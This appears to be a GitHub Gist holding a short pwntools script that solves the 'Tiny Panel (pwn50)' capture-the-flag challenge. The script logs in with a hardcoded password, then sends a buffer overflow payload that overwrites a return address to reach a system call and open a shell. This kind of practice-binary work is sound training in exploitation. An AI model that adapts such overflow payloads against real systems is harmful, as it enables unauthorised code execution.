Created
December 4, 2017 10:27
-
-
Save rookuu/8b18dbf13095e66e5af88502d6fee7ed to your computer and use it in GitHub Desktop.
Solution to lse.epitas.fr Tiny Panel (pwn50)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Solution to lse.epitas.fr Tiny Panel (pwn50) | |
# Author: Luke Roberts (@rookuu) | |
# Date: 04/12/2017 | |
p = process('./pwn50') | |
# Login to system | |
p.recv() | |
p.sendline('admin') | |
p.recv() | |
p.sendline('T6OBSh2i') | |
# Prep our ExecCmd function | |
p.recv() | |
p.sendline('1') | |
p.recv() | |
p.sendline('/bin/sh') | |
# Hop back to the system call, bypassing the check. | |
p.recv() | |
p.sendline('A'*0x58 + p64(0x0040084a)) | |
p.recv() | |
p.sendline('3') | |
# Shellz | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment